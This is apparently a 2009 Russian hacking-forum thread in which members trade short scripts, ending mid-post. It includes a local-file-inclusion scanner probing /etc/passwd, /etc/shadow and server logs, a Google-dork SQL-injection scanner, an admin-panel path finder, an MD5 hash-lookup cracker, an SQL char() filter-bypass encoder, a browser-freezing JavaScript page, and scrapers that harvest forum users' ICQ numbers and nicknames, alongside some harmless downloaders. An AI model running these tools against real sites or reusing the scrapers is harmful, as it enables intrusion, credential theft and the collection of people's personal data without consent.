'/var/log/httpd/access_log','/var/log/httpd/error_log','/var/log/httpd/access_log','/var/log/httpd/error_log','/var/www/logs/access_log','/var/www/logs/access.log',
'/var/www/logs/error_log','/var/www/logs/error.log','/var/log/httpd/access_log','/var/log/httpd/access.log','/var/log/httpd/error_log','/var/log/httpd/error.log',
'/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log',
'/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/access_log','/var/log/access.log','/var/log/error_log','/var/log/error.log','/var/www/logs/access_log',
'/var/www/logs/access.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/access_log','/var/www/logs/error_log','/var/www/logs/error.log',
'/var/log/apache/error_log','/var/log/apache/error.log','/var/log/access_log','/var/log/error_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log',
'/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf',
'/var/log/proftpd','/var/log/vsftpd.log','/var/log/xferlog','/var/adm/log/xferlog','/var/log/pure-ftpd/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log',
'/var/log/ftp-proxy','/var/log/ftplog','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog',
'/var/log/exim/rejectlog','/var/log/exim_rejectlog','/var/local/www/conf/php.ini','/var/www/conf/httpd.conf',
'/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log',
'/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log',
'/apache/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache2/logs/error.log',
'/apache2/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache2/logs/error.log','/apache2/logs/access.log','/apache/logs/error.log',
'/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log',
'/apache/logs/error.log','/apache/logs/access.log','/apache/logs/error.log','/apache/logs/access.log',
'/opt/lampp/logs/access_log','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log',
'/Program Files\Apache Group\Apache\logs\access.log','/Program Files\Apache Group\Apache\logs\error.log','/Program Files\Apache Group\Apache\conf\httpd.conf',
'/Program Files\Apache Group\Apache2\conf\httpd.conf','/Program Files\xampp\apache\conf\httpd.conf',
'/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default',
'/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
'/bin/php.ini','/web/conf/php.ini','/opt/xampp/etc/php.ini','/php5\php.ini','/php4\php.ini','/php\php.ini','/PHP\php.ini','/WINDOWS\php.ini','/WINNT\php.ini','/apache\php\php.ini','/xampp\apache\bin\php.ini','/NetServer\bin\stable\apache\php.ini','/home2\bin\stable\apache\php.ini','/home\bin\stable\apache\php.ini','/www/logs/proftpd.system.log',);

print "\n### Scanning....\n\n";
foreach $patchs( @patchs){
$url = $site.$patchs;
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if ($ans->content =~ /bin:x|root:x|phpmyadmin|cpanel|nologin/)
{
print "$url \n<<< ## FOUND ## >>>\n";
}
else
{
print "$url # not found!\n";
}
}

mailbrush
25.03.2009, 18:19
<?
$url="http://www.rapidshare.ru/976846"; //Ссылка на файл
$url=file_get_contents($url); //Достаем сорс страницы
preg_match("# <a href=\"\'\+\'(.*)\">.*</a>#",$url,$d); //Достаем ссылку
header("Location: $d[1]"); //Качаем файл
?>
Скрипт закачки файла с рапида.ру без ожидания.

eLWAux
25.03.2009, 18:25
простенький Include path Scanner, мало путей, позже добавлю больше.
а не удобней будет "держать" массив @patchs в файле?
и при запуске считывать в массив?
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
...

ReGGeR[Vk]
25.03.2009, 18:55
eLWAux,

#! /usr/bin/perl -w

use IO::Socket;
use warnings;
use threads;
use threads::shared;
use Fcntl ':flock';


ты не замечаешь в начале своего реггера ничего странного?)

eLWAux
25.03.2009, 19:03
']eLWAux,

#! /usr/bin/perl -w

use IO::Socket;
use warnings;
use threads;
use threads::shared;
use Fcntl ':flock';


ты не замечаешь в начале своего реггера ничего странного?)
"-w" vs. "use warnings;"?) предохраняемся)

#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';

:)

ph1l1ster
26.03.2009, 02:52
Universal Include Path Scanner

#########################
# Universal Include Path Scanner
# version 2.0
# coded by ph1l1ster
# icq: 612672
#########################


Поик логов\конфигов через инклуд.

-Etc (passwd)
-Apache logs
-Apache config
-PHP.ini
-Cpanel logs
-Cpanel config
-MySql logs
-MySql config
-MySql config (win)
-MySql logs (win)
-Other (Mod Security, ProFTPD, Pure-FTPd, Exim, MuddleFTPD, lighthttpd, Samba, PostgreSQL, ipfw, osx, Webmin, SquirrelMail)
-ALL

http://ifolder.ru/11250872

ph1l1ster
26.03.2009, 17:38
Exploit & Vulnerability Searcher

Скрипт ищет уязвимости по известным сайтам:
milw0rm.com
securityvulns.com
securiteam.com
securitydot.net
packetstormsecurity.org


#!/usr/bin/perl
use LWP::UserAgent;
system('cls');
print qq{
########################################
# Exploit \& Vulnerability Searcher #
# coded by ph1l1ster #
########################################};
print "\n\n\nWhat search?:\n";
print "> ";
$spl = <STDIN>;
chomp($spl);
system('cls');
# milw0rm.com
print ">>> # Milw0rm.com \n\n";
$url = "http://www.milw0rm.com/search.php?dong=".$spl."&Submit=submit";
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if (@spl = $ans->content =~ /<a href=\"(.*)\" target=\"_blank\" class=\"style14\">/g){
print "\nhttp://milw0rm.com";
print join "\nhttp://milw0rm.com", @spl;}
else {
print "NOT FOUND!";}
# securityvulns.com
print "\n\n>> # securityvulns.comn\n";
$url = "http://securityvulns.com/exploits/?keyword=".$spl;
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if (@spl = $ans->content =~ /<A class="tiny" HREF=\"\/files\/([^"]*)\">/g){
print "\nhttp://securityvulns.com/files/";
print join "\nhttp://securityvulns.com/files/", @spl;}
else {
print "NOT FOUND!";}
# securiteam.com
print "\n\n>> # securiteam.com\n\n";
$url = "http://www.securiteam.com/cgi-bin/htsearch?words=".$spl."&method=and&format=builtin-long&sort=score&restrict=&exclude=&x=0&y=0";
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if (@spl = $ans->content =~ /<A STYLE=\"color: #333;\" HREF=\"(.*)\">.*<\/A>&nbsp;<img src=\"/g){
print join "\n", @spl;}
else {
print "NOT FOUND!";}
# securitydot.net
print "\n\n>> # securitydot.net\n\n";
$url = "http://securitydot.net/search.php?sch=sch&metaname=all&query=".$spl;
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if (@spl = $ans->content =~ /<li>.*<a href=\"(.*)\"><b>.*<\/b><\/a><\/li>/g){
print "\nhttp://securitydot.net";
print join "\nhttp://securitydot.net", @spl;}
else {
print "NOT FOUND!";}
if (@spl = $ans->content =~ /<img src=\".*\" alt=\".*\"><a href=\"(.*)\"><b>.*<\/b><\/a><\/li>/g){
print "\nhttp://securitydot.net";
print join "\nhttp://securitydot.net", @spl;}
else {
print "NOT FOUND!";}
# packetstormsecurity.org
print "\n\n>> # packetstormsecurity.org\n\n";
$url = "http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$spl."&type=archives&%5Bsearch%5D.x=0&%5Bsearch%5D.y=0";
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if (@spl = $ans->content =~ /<a class=\"fname\" href=\"(.*)\">.*<\/a>/g){
print join "\n", @spl;}
else {
print "NOT FOUND!";}
# (c)ph1l1ster

Fepsis
27.03.2009, 16:53
Сборщик номеров ICQ пользователей античата:

<?php

$n = implode(file("n.txt"));
$n++;
$f = fopen("icq.txt","a");
for($i = $n;;$i++)
{
$url = "http://forum.antichat.ru/member.php?u=".$i;
$str = file_get_contents($url);
$pos = strpos($str, '<img src="fusion/misc/im_icq.gif"');
if ($pos <> false)
{
preg_match_all("/(?<=Просмотр профиля:\s)(.*)(?=<\/title>)/", $str, $name);
preg_match_all("/(?<=\(\'icq\', \'".$i."\', 500, 450\)\">)(.*)(?=<\/a>)/", $str, $icq);
fwrite($f, array_pop(array_shift($name)).":".array_pop(array_shift($icq))."\r\n");
$fn = fopen("n.txt","w");
fwrite($fn,$i);
fclose($fn);
$str = '';
}

}
?>


icq.txt - база номеров в формате %username%:icq
n.txt - файл, хранящий ID последнего добавленного в базу пользователя.. (чтобы при повторном запуске скрипт начал работать не с самого начала)
в n.txt изначально записать 0

DDoSька
28.03.2009, 00:23
To Fepsis, для недели - отлично :)

kopele
28.03.2009, 16:48
Hi all i need some perl guru help to modify this.

Old Options

1.Insert Dork:inurl:index.asp?id=1
2.Total Query Pages (10 Links/Pages) :20

to new option in 1 line dork + query
and option to save result in vuln.txt file in the same directoy

Insert Dork:inurl:index.asp?id=1 20 vuln.txt


#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
print "+++++++++++++++++++++++++++++++\n";
print "+ SQL - Google Search +\n";
print "+ CWH Underground +\n";
print "+++++++++++++++++++++++++++++++\n\n";
print "Insert Dork:";
chomp( my $dork = <STDIN> );
print "Total Query Pages (10 Links/Pages) :";
chomp( my $page = <STDIN> );
print "\n[+] Result:\n\n";
for($start = 0;$start != $page*10;$start += 10)
{
$t = "http://www.google.com/cse?cx=013269018370076798483:gg7jrrhpsy4&cof=FORID:1&q=".$dork."&btnG=Search&start=".$start;
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($t);
if ($response->is_success)
{
$c = $response->content;
@stuff = split(/<a href=/,$c);
foreach $line(@stuff)
{
if($line =~/(.*) class=l/ig)
{
$out = $1;
$out =~ s/\"//g;
$out =~s/$/\'/;
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($out);
$error = $response->content();
if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)
{print "$out => Could be Vulnerable in MySQL Injection!!\n";}
elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
{print "$out => Could be Vulnerable in MS Access Injection!!\n";}
elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
{print "$out => Could be Vulnerable in MSSQL Injection!!\n";}
elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
{print "$out => Could be Vulnerable in Oracle Injection!!\n";}
}
}
}
}


test the script and if can to modefy and tweak other tings will be good too.

Thanks in Advance
Best regards Dima

Gaus
28.03.2009, 22:00
Многопоточный граббер прокси (из списка сайтов ;) )

#(с) Gaus
#!/usr/bin/perl -w

use LWP::UserAgent;
use threads;
use threads::shared;
my @sites : shared;
###############################
my $threads = 1; # Кол-во потоков
my $proxy = 'proxy.txt';# Файл с награбленными прокси
my $sites = 'sites.txt';# Файл со списком сайтов(откуда грабить)
###############################
open (S, "<$sites") || die("Could not open ".$sites." file!!!");
open (F, ">>$proxy") || die("Could not open ".$proxy." file!!!");
@sites = <S>;
my $num;
my $saw;
for(0..$threads) {$trl[$_] = threads->create(\&Grab, $_);}
for(@trl) { $_->join; }
sub Grab
{
while (@sites){
$site = shift @sites;
$ua = new LWP::UserAgent;
$ua->timeout(30);
$data = $ua->get($site)->as_string;
print "Grabbing proxys from: ".$site." ...\n";
while($data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/msgi) {
print F $1.":".$2."\n";
print $1.":".$2."\n";
}
print "#############################\n";
}
}
close (F);
close (S);

Fepsis
30.03.2009, 18:56
Скрипт "Онлайн сервис по расшифровке хешей"
В папке со скриптом должна быть папка base с правами 777.
Функции:
- поиск хэшей по базе;
- возможность добавлять свои пароли в базу.
Требования:
- Php 5

<?php

// Поиск по базе

if(isset($_POST['go']))
{
echo '<div align="center">Введите хэши (MD5)<br><form method=post><textarea cols=50 rows=15 name="hash">
</textarea><br><br><input name="go"
type=submit value="Искать по базе"></form></div>';
$h = explode("\n", $_POST['hash']);
for ($j = 0; $j<=count($h)-1; $j++)
{
$hash = rtrim($h[$j]);
if (strlen($hash)==32)
{
$hd = "base";
for ($i = 1;$i<=32;$i++)
{
$hd = $hd."/".$hash[$i-1];
}
if (file_exists($hd))
{
$qpass = array_pop(scandir($hd));
$arq = explode(".", $qpass);
for ($i = 1;$i<=count($arq) ; $i++)
{
$pass[$i-1] = chr($arq[$i-1]);
}
print_r('<div align="center">'.$hash.":".implode($pass)."</div>");
}
else
{
print_r('<div align="center">'.$hash.": не найден</div>");
}
}
}
} else
{
echo '<div align="center">Введите хэши (MD5)<br><form method=post>
<textarea cols=50 rows=15 name="hash"></textarea><br><br><input name="go"
type=submit value="Искать по базе"></form></div>';
}

// Добавление хэшей в базу

if(isset($_POST['add']))
{
echo '<br><br><div align="center">Введите пароли по одному в строке<br><form method=post>
<textarea cols=50 rows=15 name="pass"></textarea><br><br><input name="add"
type=submit value="Добавить пароли в базу"></form></div>';
$p = explode("\n", $_POST['pass']);
for ($j = 0; $j<=count($p)-1; $j++)
{
$pass = rtrim($p[$j]);
if ($pass<>'')
{
$len = strlen($pass);
$fname = "";
for ($i=1;$i<=$len;$i++)
{
$fname = $fname."".ord($pass{$i-1}).".";
}
$hash=md5($pass);
$dir = "base";
for ($i = 1;$i<33; $i++)
{
$dir = $dir."/".$hash{$i-1};
if (file_exists($dir))
{}
else
{
mkdir($dir);
}
}
fopen($dir."/".$fname, "w");
}
}
print_r('<div align="center">Ваши пароли успешно добавлены в базу</div>');
}
else {
echo '<br><br><div align="center">Введите пароли по одному в строке<br><form method=post>
<textarea cols=50 rows=15 name="pass"></textarea><br><br><input name="add"
type=submit value="Добавить пароли в базу"></form></div>';
}
?>

mr.The
31.03.2009, 20:00
Последний ФФ виснет намертво. Утечки памяти нету, но зависает браузер.. ИЕ просто выпадает. Опера работает)
ФФ последний. ИЕ 6.

<html>
<body>
<form name="a" >
<div id="d">
<input type="button" id="add"><br><br>
<img border='0' src='1.gif' onLoad='add();'>
</div>
</form>

<script language="javascript">
function add(){
div=document.getElementById("d");
button=document.getElementById("add");
newitem="<a target='_blank' ";
newitem+="href='http://mrthe.name/'>";
newitem+="<img border='0' src='1.gif' onLoad='add();'></a>";
newitem+="<scri";
newitem+="pt>add();</sc";
newitem+="ript>";
newnode=document.createElement("span");
newnode.innerHTML=newitem;

div.insertBefore(newnode,button);
add();
}
add();
</script>
</body>
</html>

Кроспост в моём блоге: http://mrthe.name/2009/03/opera-forever/ (+ подробности) (http://mrthe.name/2009/03/opera-forever/)

heretic1990
31.03.2009, 20:15
Искал утечку памяти в опере.. В итоге опера стабильно всё обрабатывает. и останавливается после ~минуты лагов, а последний ФФ виснет намертво. Утечки памяти нету, но зависает браузер.. ИЕ просто выпадает.

<html>
<body>
<form name="a" >
<div id="d">
<input type="button" id="add"><br><br>
<img border='0' src='1.gif' onLoad='add();'>
</div>
</form>

<script language="javascript">
function add(){
div=document.getElementById("d");
button=document.getElementById("add");
newitem="<a target='_blank' ";
newitem+="href='http://mrthe.name/'>";
newitem+="<img border='0' src='1.gif' onLoad='add();'></a>";
newitem+="<scri";
newitem+="pt>add();</sc";
newitem+="ript>";
newnode=document.createElement("span");
newnode.innerHTML=newitem;

div.insertBefore(newnode,button);
add();
}
add();
</script>
</body>
</html>
1.gif - любая анимашка для утяжеления. впринципе add(); в конце скрипта можно убрать. Тогда будет запускаться сразу после загрузки анимации.

ни чё не виснит, вставил массивную анимацию, грузит 23 сек. и всё.

mr.The
31.03.2009, 20:26
ни чё не виснит, вставил массивную анимацию, грузит 23 сек. и всё.
чем тестил? щас проверяю на http://browsershots.org/ опера более-мение подгружает. остальные пока в дауне(при условии вкл javascript)

astrologer
31.03.2009, 21:41
Последний ФФ виснет намертво. Утечки памяти нету, но зависает браузер.. ИЕ просто выпадает. Опера работает)
ФФ последний. ИЕ 6.

<html>
<body>
<form name="a" >
<div id="d">
<input type="button" id="add"><br><br>
<img border='0' src='1.gif' onLoad='add();'>
</div>
</form>

<script language="javascript">
function add(){
div=document.getElementById("d");
button=document.getElementById("add");
newitem="<a target='_blank' ";
newitem+="href='http://mrthe.name/'>";
newitem+="<img border='0' src='1.gif' onLoad='add();'></a>";
newitem+="<scri";
newitem+="pt>add();</sc";
newitem+="ript>";
newnode=document.createElement("span");
newnode.innerHTML=newitem;

div.insertBefore(newnode,button);
add();
}
add();
</script>
</body>
</html>

Кроспост в моём блоге: http://mrthe.name/2009/03/opera-forever/ (+ подробности) (http://mrthe.name/2009/03/opera-forever/)А что должно вызвать утечки памяти? Замыканий нет, циклических ссылок нет. Есть бесконечная рекурсия, которую опера благоразумно прерывает, когда заканчивается стек вызовов.

mr.The
31.03.2009, 21:47
А что должно вызвать утечки памяти? Замыканий нет, циклических ссылок нет. Есть бесконечная рекурсия, которую опера благоразумно прерывает, когда заканчивается стек вызовов.
вот и я искал. ибо опера у меня перед этим благополучно схавала 3 гига памяти. перезагрузил оперу. открыл страницу, которую открывал до этого. всё норм. но обилие js и картинок. память не утекает. вот стало нефиг делать решил поковырять...

-m0rgan-
01.04.2009, 03:01
#/usr/bin/python
import sys, os, time, httplib
if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)
if len(sys.argv) != 2:
print "\n|-------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "| Help: admin-find.py -h |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)
for arg in sys.argv:
if arg == '-h':
print "\n|-----------------------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "| Usage: admin-find.py www.site.com |"
print "| Example: admin-find.py site.com |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','joomla/administrator','login.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','w ebadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.htm l','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','m odelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpane l.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php', 'admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php ','memberadmin.php','administratorlogin.php']
print "\n|-------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "|---------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
print "[+] Target:",site
print "[+] Checking paths..."
print
try:
for admin in admin_path:
admin = admin.replace("\n","")
admin = "/" + admin
connection = httplib.HTTPConnection(site)
connection.request("GET",admin)
response = connection.getresponse()
print "%s %s %s" % (admin, response.status, response.reason)
except(KeyboardInterrupt,SystemExit):
raise
except:
pass

-m0rgan-
01.04.2009, 03:33
Чёкер номеров кредитных карт.
<?
function luhn_check($number) {
$number=preg_replace('/\D/', '', $number);
$number_length=strlen($number);
$parity=$number_length % 2;
$total=0;
for ($i=0; $i<$number_length; $i++) {
$digit=$number[$i];
if ($i % 2 == $parity) {
$digit*=2;
if ($digit > 9) {
$digit-=9;
}
}
$total+=$digit;
}
return ($total % 10 == 0) ? TRUE : FALSE;
}
?>

_Kris_
01.04.2009, 20:41
#! /usr/bin/env python
# -*- coding:windows-1251 -*-

#-################################################## #####-##
# Скачиваем музыку ##
# (c) 2009 ##
# Создал специально для себя, ##
# так как инет медленный, а без ##
# Транса, кодить не умею... ##
# De-visible project ##
# ndcoders.ru ##
# GreetZ To login999 ##
# Thanks to http://mp3.myws.ru/index.php/search?q=trance ##
# Также делаем программы на заказ ##
# Контакт ICQ#: 22-3333-575 ##
# Мы: ndcoders.ru, devisible.ru ##
#-################################################## ####-###

import urllib
import time
import re
import threading
import urlparse
import string

URL_MAS = []
s = 0

def DownFile(url):
f = urlparse.urlsplit(url)
mp3_name = str(f.path).strip('\/')
mp3_name = str(mp3_name).strip('[')
mp3_name = str(mp3_name).strip(']')
mp3_name = str(mp3_name).strip('\'')
mp3_name = mp3_name.replace('/','1')
try:
print u"Начинаем закачку файла: ", mp3_name, '\n'
print u"Размер файла: ", GetSizeMp3(url), "byte"
infile = urllib.urlopen(url).read()
except:
print u"Ошибка скачивания: ", mp3_name
print u", Файл закачен\n"
mp3_file = open(mp3_name+str(s)+'.mp3',"wb")
mp3_file.write(infile)
mp3_file.close()
print 'File Saved Local'

def GetSizeMp3(url):
size_mp3 = urllib.urlopen(url).info()
mp3 = str(size_mp3)
s_mp3 = str(re.findall(r'Content-Length: (.*?)\r\n',mp3))[2:-2]
print s_mp3

def LoadFromFile():
with open("urls.txt",) as urls:
for ur in urls:
URL_MAS.append(ur[:-1])

def ServerOption():
info = urllib.urlopen('http://mp3.myws.ru').info()
with open('serv_option.txt',"w") as serv:
serv.write(str(info))
print '''
Author: De-visible, ICQ#: 22-3333-575
WeAre: ND_c0ders, ndcoders.ru
ServerOption: mp3.myws.ru

'''
print info,'\n\n'

def Start_Process():
LoadFromFile()
print u"Массив ссылок загружен",'\n'
print u"Менеджер закачек запущен",'\n'
ServerOption()
for url_mas in URL_MAS:
DownFile(url_mas)
s = s + 1
print u" Все закачки завершены"
threading.Thread(target = Start_Process).start()
time.sleep(1000)

Fepsis
02.04.2009, 04:19
Скрипт для ТС-а вот этого топика: http://forum.antichat.ru/thread114182.html
Проверяет наличие указанного вами товара в интернет магазине www.ebay.com

<?php

if(isset($_POST['go']))
{
echo 'Введите наименование товара, например <b>iphone, nokia n95 </b> ну или ещё

что-нибудь..)<br><br><form method=post><input type="text" name="n">
<input name="go" type=submit value="Проверить"></form>';
$name = str_replace(" " , "+", $_POST['n']);
$url = "http://shop.ebay.com/items/?_nkw=".$name;
$page = file_get_contents($url);
preg_match_all("/(?<=Matching products<\/span><span class=\"cnt\">\()([0-9]*)(?=\))/", $page,

$match);
$n = array_pop(array_pop($match));

if ($n<>"")
{
print_r("Товар <b>".$_POST['n']."</b> имеется в наличии в количестве <b>".$n."</b> штук");
}
else
{
print_r("Товар <b>".$_POST['n']."</b> отсутствует");
}
}
else
{
echo 'Введите наименование товара, например <b>iphone, nokia n95 </b> ну или ещё

что-нибудь..)<br><br><form method=post>
<input type="text" name="n"> <input name="go"
type=submit value="Проверить"></form>';
}

?>

Gar|k
02.04.2009, 22:51
JS переводящий word -> char (SQL)

Все мы любим SQL инекции и знаем что если нельзя вписать буковку то можно вприсать char(код)


<html>
<head>
<title>
Word -> Char (SQL)
</title>
<script language='javascript'>
function char(str)
{
len = str.length;
if(len==0){return 'null';}
rez='';
for(i=0;i<len;i++)
{
n = str.charCodeAt(i);
if(n>1000){n=n-848;}
rez=rez+''+n;
if(i+1<len){rez=rez+',';}
}
return('char('+rez+')');
}
</script>
</head>
<body>

<input type=text id=enter> <input type=button value=" Gen " onclick="javascript:show.innerHTML=char(enter.value)"><br>
<div style='padding:7;background:#f8f8f8;font:15pt system' align=center id=show></div>
</body>
</html>

Exgibichi
06.04.2009, 19:35
Парсит ссылки с гугла по кейворду


<?php
/*
|
| www.google.ru parser
| C0d3d by Exgibichi
| 27/07/08
|
*/

set_time_limit(0);

$n = 20; // number of pages
$keyword = 'keyword'; //keyword for parse

function googlelinkparse($keyword,$n) {

$keyword = str_replace(' ','+',$keyword);
$url = 'http://www.google.ru/search?q='.$keyword.'&num=100&filter=0&start='.$n.'0';
$file = file_get_contents($url) or die('Could not access file');
$exp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";

if (preg_match_all("/$exp/siU", $file, $matches, PREG_SET_ORDER)) {

$c = count($matches);
for ($i=0; $i<$c; $i++) {

if (strstr($matches[$i][2],'http://') && !strstr($matches[$i][2],'google') && !strstr($matches[$i][2],'search?q=cache') && !strstr($matches[$i][2],'youtube') && !strstr($matches[$i][2],'/aclk?sa')) {
$links[] = $matches[$i][2];
}
}
} return $links;
}

for ($i=0; $i<$n; $i++) {

$link = googlelinkparse($keyword,$i);
$c = count($link);

for ($j=0; $j<$c; $j++) {
$f = fopen('links.txt','a+'); fputs($f,$link[$j]."\r\n"); fclose($f);
}
sleep(10);
}
?>

kopele
07.04.2009, 06:46
Exgibichi
Add remove duplicate in links.txt and parse empty string :)

mff
09.04.2009, 12:49
Ребят, поделитесь, у кого есть, скриптом для сбора ников с форумов vBulletin 3.8.2

ph1l1ster
09.04.2009, 14:38
vBulletin nickname grabber

#!/usr/bin/perl
use LWP::UserAgent;
system('cls');
print qq(
==============================
# vBulletin nickname grabber #
# coded by ph1l1ster #
# icq: 612672 #
==============================\n\n\n
);

print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (A, ">>nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.php?do=getall&order=asc&sort=username&page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?u=.*\">(.*)<\/a>/g;
print A join "\n", @nicknames;}

mff
09.04.2009, 14:54
ph1l1ster, спасибо, пошел тестить!

mff
09.04.2009, 18:01
Чтот не выходит ничего, может у кого есть на php ник-парсер для форумов булки! Хелп!

ph1l1ster
09.04.2009, 18:22
Чтот не выходит ничего, может у кого есть на php ник-парсер для форумов булки! Хелп!

стучи в аську :\

mff
10.04.2009, 01:56
ph1l1ster, спасибо большое, всё работает как часы! :)

[underwater]
12.04.2009, 18:49
use POSIX ":sys_wait_h";
use IO::Handle;

# Количество процессов и кол-во задач на процесс
my $max_proc = 30;
my $max_per_proc = 30;

# Записываем строку запуска скрипта. Ниже будет видно зачем это.
my $exe = $0;

# Нихт зомби
$SIG{CHLD} = sub { while ((my $pid = waitpid(-1, WNOHANG)) > 0) {} };

# Создаём пайпы для обмена данными родитель-чайлд и чайлд-ридер, снимаем буферизацию
pipe(PARENT_RDR, CHILD_WTR);
pipe(CHILD_RDR, PARENT_WTR);
CHILD_WTR->autoflush(1);
PARENT_WTR->autoflush(1);

# Записываем PID главного процесса, форкаем процесс-ридер
my $master_pid = $$;
my $reader_pid = fork();
die "Can't fork: $!" unless defined($reader_pid);

# Пошёл основной процесс.
if($reader_pid){
open(F, $ARGV[0]) or die "Can't open file: $!\n";
my %children;
while(<F>){
chomp;
s/\r//;
my $line = $_;
$line = sprintf("%-128s", $line);
syswrite(CHILD_WTR,$line,128);

